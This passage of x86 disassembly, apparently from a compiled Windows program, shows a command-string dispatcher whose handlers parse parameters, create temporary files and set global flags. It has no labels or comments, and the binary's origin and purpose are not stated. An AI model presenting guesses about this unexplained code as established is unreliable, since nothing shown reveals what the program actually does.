mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1a68]
push eax
lea eax, [ebp - 0x1a6c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1a6c]
mov edx, dword [ebp - 0x3c0]
pop eax
call fcn.0059002c
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea10
call fcn.00405ec0
jne 0x5a24d9
lea edx, [ebp - 0x1a70]
mov eax, 0x5ad8cc
call fcn.0058fff8
mov edx, dword [ebp - 0x1a70]
mov eax, dword [0x5d5090]
call fcn.00405aec
xor eax, eax
push ebp
push 0x5a24d2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor eax, eax
push ebp
push 0x5a24ab
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1a7c]
push eax
lea ecx, [ebp - 0x1a80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a80]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a7c]
lea edx, [ebp - 0x1a78]
call fcn.005939c8
mov eax, dword [ebp - 0x1a78]
lea edx, [ebp - 0x1a74]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a74]
push eax
lea eax, [ebp - 0x1a8c]
push eax
lea ecx, [ebp - 0x1a90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1a90]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a8c]
lea edx, [ebp - 0x1a88]
call fcn.005939c8
mov eax, dword [ebp - 0x1a88]
lea edx, [ebp - 0x1a84]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a84]
push eax
lea eax, [ebp - 0x1a9c]
push eax
lea ecx, [ebp - 0x1aa0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1aa0]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1a9c]
lea edx, [ebp - 0x1a98]
call fcn.005939c8
mov eax, dword [ebp - 0x1a98]
lea edx, [ebp - 0x1a94]
call fcn.0058ff30
mov eax, dword [ebp - 0x1a94]
push eax
lea eax, [ebp - 0x1aac]
push eax
lea ecx, [ebp - 0x1ab0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ab0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1aac]
lea edx, [ebp - 0x1aa8]
call fcn.005939c8
mov eax, dword [ebp - 0x1aa8]
lea edx, [ebp - 0x1aa4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1aa4]
call fcn.005936d4
push eax
lea eax, [ebp - 0x1abc]
push eax
lea ecx, [ebp - 0x1ac0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ac0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1abc]
lea edx, [ebp - 0x1ab8]
call fcn.005939c8
mov eax, dword [ebp - 0x1ab8]
lea edx, [ebp - 0x1ab4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ab4]
call fcn.0040b328
pop edx
pop ecx
call fcn.0057b7dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a24b5
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea2c
call fcn.00405ec0
jne 0x5a261e
xor eax, eax
push ebp
push 0x5a2617
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1ac4]
push eax
lea ecx, [ebp - 0x1ac8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ac8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ac4]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a2580
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1acc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1acc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, 0x104
call fcn.00402fc0
mov esi, eax
push esi
push 0
push 0x5aea40
mov eax, dword [0x5dbd20]
call fcn.00405f28
push eax
call sub.kernel32.dll_GetTempFileNameA
lea edx, [ebp - 0x1ad0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1ad0]
push eax
lea eax, [ebp - 0x1ad4]
mov edx, esi
call fcn.00405c90
mov eax, dword [ebp - 0x1ad4]
push eax
lea eax, [ebp - 0x1ad8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1ad8]
pop edx
pop eax
call fcn.0059002c
mov eax, esi
call fcn.00402fdc
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea4c
call fcn.00405ec0
jne 0x5a2a5c
lea eax, [ebp - 0x1adc]
push eax
lea ecx, [ebp - 0x1ae0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ae0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1adc]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5a26f0
push 0
lea eax, [ebp - 0x1ae8]
push eax
lea eax, [ebp - 0x1aec]
push eax
lea ecx, [ebp - 0x1af0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x1aec]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x1ae8]
lea edx, [ebp - 0x1ae4]
call fcn.005939c8
mov edx, dword [ebp - 0x1ae4]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1af4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5aea64
call fcn.00406074
test eax, eax
je 0x5a27f4
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5aea64
call fcn.00406074
mov ecx, eax
add ecx, 0xb
dec ecx
lea eax, [ebp - 0x3b8]
mov edx, 1
call fcn.00405fd0
mov eax, dword [ebp - 0x3b8]
mov edx, 0x5ad834
call fcn.00405ec0
sete byte [ebp - 0x582]
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1af8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1af8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 0
je 0x5a27cf
mov eax, dword [ebp - 0x718]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x718], eax
mov edx, dword [ebp - 0x3b8]
mov eax, 0x5aea64
call fcn.00406074
mov edx, eax
lea eax, [ebp - 0x3b8]
mov ecx, dword [ebp - 0x718]
call fcn.00405fd0
jmp 0x5a27fb
mov byte [ebp - 0x582], 0
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a2826
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405b30
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a2871
lea edx, [ebp - 0x1afc]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1afc]
push eax
lea eax, [ebp - 0x1b00]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b00]
xor edx, edx
pop eax
call fcn.0059002c
mov ecx, 0x5aea78
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
cmp byte [ebp - 0x582], 0
je 0x5a28b3
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dbd88]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
jne 0x5a28b3
mov edx, dword [ebp - 0x3b0]
mov eax, dword [0x5dbd88]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov eax, dword [0x5d4f04]
mov byte [eax], 1
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 0
je 0x5a28e1
mov eax, dword [ebp - 0x724]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x724], eax
mov eax, 0x5ad994
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 0
je 0x5a2906
mov eax, dword [ebp - 0x728]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x728], eax
mov eax, dword [ebp - 0x728]
push eax
mov eax, 0x5ad994
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x724]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 0
sete byte [ebp - 0x719]
cmp byte [ebp - 0x719], 0
je 0x5a2963
mov byte [ebp - 0x739], 1
jmp 0x5a2a03
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
je 0x5a2989
mov eax, dword [ebp - 0x734]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x734], eax
mov eax, 0x5ad954
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 0
je 0x5a29ae
mov eax, dword [ebp - 0x738]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x738]
push eax
mov eax, 0x5ad954
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x734]
push eax
mov eax, dword [ebp - 0x3b0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0
sete byte [ebp - 0x729]
movzx eax, byte [ebp - 0x729]
mov byte [ebp - 0x739], al
cmp byte [ebp - 0x739], 0
je 0x5a2a4f
lea edx, [ebp - 0x1b04]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0x1b04]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1b08]
mov eax, 0x5ad954
call fcn.0058fff8
mov eax, dword [ebp - 0x1b08]
xor edx, edx
call fcn.005b8fdc
mov eax, dword [0x5d4f04]
mov byte [eax], 0
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea94
call fcn.00405ec0
jne 0x5a2be2
lea eax, [ebp - 0x3b8]
push eax
lea ecx, [ebp - 0x1b0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b0c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea edx, [ebp - 0x3b0]
mov eax, dword [ebp - 0x3b8]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a2acf
lea eax, [ebp - 0x3b0]
mov edx, dword [ebp - 0x3b8]
call fcn.00405b30
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a2b1a
lea edx, [ebp - 0x1b10]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b10]
push eax
lea eax, [ebp - 0x1b14]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b14]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1b18]
push eax
lea ecx, [ebp - 0x1b1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b18]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x5a2bc7
push 0
lea eax, [ebp - 0x1b24]
push eax
push 0x5aeab4
push dword [ebp - 0x3b0]
push 0x5aeac8
lea eax, [ebp - 0x1b28]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x1b28]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0x1b24]
lea edx, [ebp - 0x1b20]
call fcn.005939c8
mov edx, dword [ebp - 0x1b20]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
mov ecx, 0x5aeadc
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb04
call fcn.00405ec0
jne 0x5a2de6
xor eax, eax
push ebp
push 0x5a2ddf
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1b2c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b2c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a2c88
lea edx, [ebp - 0x1b30]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1b30]
push eax
lea eax, [ebp - 0x1b34]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b34]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1b38]
push eax
lea ecx, [ebp - 0x1b3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b3c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b38]
call fcn.005936d4
test al, al
je 0x5a2d35
lea eax, [ebp - 0x1b48]
push eax
lea ecx, [ebp - 0x1b4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b48]
lea edx, [ebp - 0x1b44]
call fcn.005939c8
mov eax, dword [ebp - 0x1b44]
lea edx, [ebp - 0x1b40]
call fcn.0058ff30
mov eax, dword [ebp - 0x1b40]
call fcn.0040b8f0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp 0x5a2d9f
lea eax, [ebp - 0x1b58]
push eax
lea ecx, [ebp - 0x1b5c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b5c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b58]
lea edx, [ebp - 0x1b54]
call fcn.005939c8
mov eax, dword [ebp - 0x1b54]
lea edx, [ebp - 0x1b50]
call fcn.0058ff30
mov eax, dword [ebp - 0x1b50]
call fcn.0040b914
lea edx, [ebp - 0x3c0]
call fcn.00593690
lea eax, [ebp - 0x1b60]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a2de6
call fcn.00592568
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb24
call fcn.00405ec0
jne 0x5a3371
xor eax, eax
push ebp
push 0x5a336a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1b6c]
push eax
lea ecx, [ebp - 0x1b70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b70]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b6c]
lea edx, [ebp - 0x1b68]
call fcn.005939c8
mov eax, dword [ebp - 0x1b68]
lea edx, [ebp - 0x1b64]
call fcn.0058ff30
mov edx, dword [ebp - 0x1b64]
mov eax, dword [0x5d4b5c]
call fcn.00405aec
lea eax, [ebp - 0x1b7c]
push eax
lea ecx, [ebp - 0x1b80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b80]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b7c]
lea edx, [ebp - 0x1b78]
call fcn.005939c8
mov eax, dword [ebp - 0x1b78]
lea edx, [ebp - 0x1b74]
call fcn.0058ff30
mov edx, dword [ebp - 0x1b74]
mov eax, dword [0x5d508c]
call fcn.00405aec
lea eax, [ebp - 0x1b8c]
push eax
lea ecx, [ebp - 0x1b90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b90]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b8c]
lea edx, [ebp - 0x1b88]
call fcn.005939c8
mov eax, dword [ebp - 0x1b88]
lea edx, [ebp - 0x1b84]
call fcn.0058ff30
mov edx, dword [ebp - 0x1b84]
mov eax, dword [0x5d4a7c]
call fcn.00405aec
lea eax, [ebp - 0x1b94]
push eax
lea ecx, [ebp - 0x1b98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1b98]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1b94]
call fcn.0040b328
mov edx, dword [0x5d4938]
mov dword [edx], eax
lea eax, [ebp - 0x1ba4]
push eax
lea ecx, [ebp - 0x1ba8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ba8]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ba4]
lea edx, [ebp - 0x1ba0]
call fcn.005939c8
mov eax, dword [ebp - 0x1ba0]
lea edx, [ebp - 0x1b9c]
call fcn.0058ff30
mov edx, dword [ebp - 0x1b9c]
mov eax, dword [0x5d4ad4]
call fcn.00405aec
lea eax, [ebp - 0x1bb4]
push eax
lea ecx, [ebp - 0x1bb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bb8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1bb4]
lea edx, [ebp - 0x1bb0]
call fcn.005939c8
mov eax, dword [ebp - 0x1bb0]
lea edx, [ebp - 0x1bac]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bac]
mov eax, dword [0x5d4b40]
call fcn.00405aec
lea eax, [ebp - 0x1bc4]
push eax
lea ecx, [ebp - 0x1bc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bc8]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1bc4]
lea edx, [ebp - 0x1bc0]
call fcn.005939c8
mov eax, dword [ebp - 0x1bc0]
lea edx, [ebp - 0x1bbc]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bbc]
mov eax, dword [0x5d50dc]
call fcn.00405aec
lea eax, [ebp - 0x1bcc]
push eax
lea ecx, [ebp - 0x1bd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1bd0]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1bcc]
call fcn.005936d4
mov edx, dword [0x5d4898]
mov byte [edx], al
lea eax, [ebp - 0x1bdc]
push eax
lea ecx, [ebp - 0x1be0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1be0]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1bdc]
lea edx, [ebp - 0x1bd8]
call fcn.005939c8
mov eax, dword [ebp - 0x1bd8]
lea edx, [ebp - 0x1bd4]
call fcn.0058ff30
mov edx, dword [ebp - 0x1bd4]
mov eax, dword [0x5d4804]
call fcn.00405aec
mov eax, dword [0x5d4f20]
mov byte [eax], 0
xor eax, eax
push ebp
push 0x5a326f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d508c]
cmp dword [eax], 0
je 0x5a31b0
lea edx, [ebp - 0x430]
xor eax, eax
call fcn.004031c8
xor eax, eax
push ebp
push 0x5a31a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d508c]
mov eax, dword [eax]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a31b0
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58ca0c]
call fcn.0042a3cc
mov dword [ebp - 0x530], eax
lea edx, [ebp - 0x1be4]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0x1be4]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1be8]
mov eax, 0x5ad954
call fcn.0058fff8
mov eax, dword [ebp - 0x1be8]
call fcn.005b3ae8
mov eax, dword [ebp - 0x530]
call fcn.0058edbc
mov eax, dword [0x5d4f20]
cmp byte [eax], 0
je 0x5a31cc
mov eax, dword [0x5d4f04]
mov byte [eax], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5a3276
mov eax, dword [0x5d508c]
cmp dword [eax], 0
je 0x5a326e
xor eax, eax
push ebp
push 0x5a3264
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x430]
call fcn.00403158
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a326e
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb3c
call fcn.00405ec0
jne 0x5a36b9
xor eax, eax
push ebp
push 0x5a36b2
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, dword [0x5d5138]
mov edx, dword [0x5dbcc4]
mov dword [eax], edx
lea eax, [ebp - 0x1c08]
push eax
lea ecx, [ebp - 0x1c0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c0c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c08]
lea edx, [ebp - 0x1c04]
call fcn.005939c8
mov eax, dword [ebp - 0x1c04]
lea edx, [ebp - 0x1c00]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c00]
mov eax, dword [0x5d4d30]
call fcn.00405aec
lea eax, [ebp - 0x1c18]
push eax
lea ecx, [ebp - 0x1c1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c18]
lea edx, [ebp - 0x1c14]
call fcn.005939c8
mov eax, dword [ebp - 0x1c14]
lea edx, [ebp - 0x1c10]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c10]
mov eax, dword [0x5d4d00]
call fcn.00405aec
lea eax, [ebp - 0x1c24]
push eax
lea ecx, [ebp - 0x1c28]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c28]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c24]
lea edx, [ebp - 0x1c20]
call fcn.005939c8
mov edx, dword [ebp - 0x1c20]
mov eax, dword [0x5d4a14]
call fcn.00405aec
lea eax, [ebp - 0x1c2c]
push eax
lea ecx, [ebp - 0x1c30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c30]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c2c]
call fcn.005936d4
mov edx, dword [0x5d4a9c]
mov byte [edx], al
lea eax, [ebp - 0x1c34]
push eax
lea ecx, [ebp - 0x1c38]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c38]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c34]
call fcn.005936d4
mov edx, dword [0x5d4c8c]
mov byte [edx], al
mov eax, dword [0x5d4c5c]
mov byte [eax], 0
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x5b2a20]
call fcn.0042a3cc
mov edx, dword [0x5d4ed8]
mov dword [edx], eax
mov eax, dword [0x5d4ed8]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b3ad4
inc eax
jne 0x5a3592
mov eax, dword [0x5d4ed8]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d4c5c]
cmp byte [eax], 1
jne 0x5a3572
mov eax, dword [0x5d4f04]
mov byte [eax], 0
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1c3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c3c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3b0], 0
je 0x5a3695
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a362e
lea edx, [ebp - 0x1c40]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1c40]
push eax
lea eax, [ebp - 0x1c44]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1c44]
xor edx, edx
pop eax
call fcn.0059002c
mov eax, dword [0x5d4d50]
cmp byte [eax], 0
je 0x5a3666
lea eax, [ebp - 0x1c48]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1c48]
mov edx, 0x5aeb5c
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5a3695
lea eax, [ebp - 0x1c4c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
